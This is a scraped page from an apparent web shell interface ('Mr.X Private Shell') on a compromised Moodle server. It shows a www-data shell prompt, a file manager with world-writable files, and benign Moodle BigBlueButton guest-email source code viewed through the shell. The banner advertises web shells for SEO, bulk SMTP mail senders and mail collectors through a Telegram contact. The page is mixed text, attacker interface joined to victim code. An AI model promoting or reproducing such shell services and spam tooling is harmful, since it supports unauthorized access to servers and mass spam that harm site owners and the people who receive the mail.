__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
namespace mod_bigbluebuttonbn\task;
use core_user;
use html_writer;

/**
 * This adhoc task will send emails to guest users with the meeting's details
 *
 * @package   mod_bigbluebuttonbn
 * @copyright  2022 onwards, Blindside Networks Inc
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @author     Laurent David  (laurent [at] call-learning [dt] fr)
 */
class send_guest_emails extends base_send_notification {

    /**
     * Get the notification type.
     *
     * @return string
     */
    protected function get_notification_type(): string {
        return 'guest_invited';
    }

    /**
     * Send all the emails
     */
    protected function send_all_notifications(): void {
        $customdata = $this->get_custom_data();
        if (!empty($customdata->emails)) {
            foreach ($customdata->emails as $email) {
                $user = core_user::get_noreply_user();
                $user->email = $email;
                $user->mailformat = 1; // HTML format.

                email_to_user(
                        $user,
                        core_user::get_noreply_user(),
                        $this->get_subject(),
                        $this->get_small_message(),
                        $this->get_html_message()
                );
            }
        }

    }

    /**
     * Get the subject of the notification.
     *
     * @return string
     */
    protected function get_subject(): string {
        return get_string('guest_invitation_subject', 'mod_bigbluebuttonbn', $this->get_string_vars());
    }

    /**
     * Get variables to make available to strings.
     *
     * @return array
     */
    protected function get_string_vars(): array {
        $customdata = $this->get_custom_data();
        $sender = core_user::get_user($customdata->useridfrom);
        return [
                'course_fullname' => $this->get_instance()->get_course()->fullname,
                'course_shortname' => $this->get_instance()->get_course()->shortname,
                'name' => $this->get_instance()->get_cm()->name,
                'guestjoinurl' => $this->get_instance()->get_guest_access_url()->out(false),
                'guestpassword' => $this->get_instance()->get_guest_access_password(),
                'sender' => fullname($sender)
        ];
    }

    /**
     * Get the short summary message.
     *
     * @return string
     */
    protected function get_small_message(): string {
        return get_string('guest_invitation_small_message', 'mod_bigbluebuttonbn', $this->get_string_vars());
    }

    /**
     * Get the HTML message content.
     *
     * @return string
     */
    protected function get_html_message(): string {
        return html_writer::tag(
                'p',
                get_string('guest_invitation_full_message', 'mod_bigbluebuttonbn', $this->get_string_vars())
        );
    }
}

Filemanager

Name Type Size Permission Actions
base_send_notification.php File 6.82 KB 0777
check_dismissed_recordings.php File 1.44 KB 0777
check_pending_recordings.php File 1.42 KB 0777
completion_update_state.php File 2.17 KB 0777
reset_recordings.php File 3.08 KB 0777
send_bigbluebutton_module_disabled_notification.php File 1.67 KB 0777
send_guest_emails.php File 3.5 KB 0777
send_notification.php File 1.46 KB 0777
send_recording_ready_notification.php File 2.5 KB 0777
upgrade_recordings_task.php File 8.1 KB 0777
Filemanager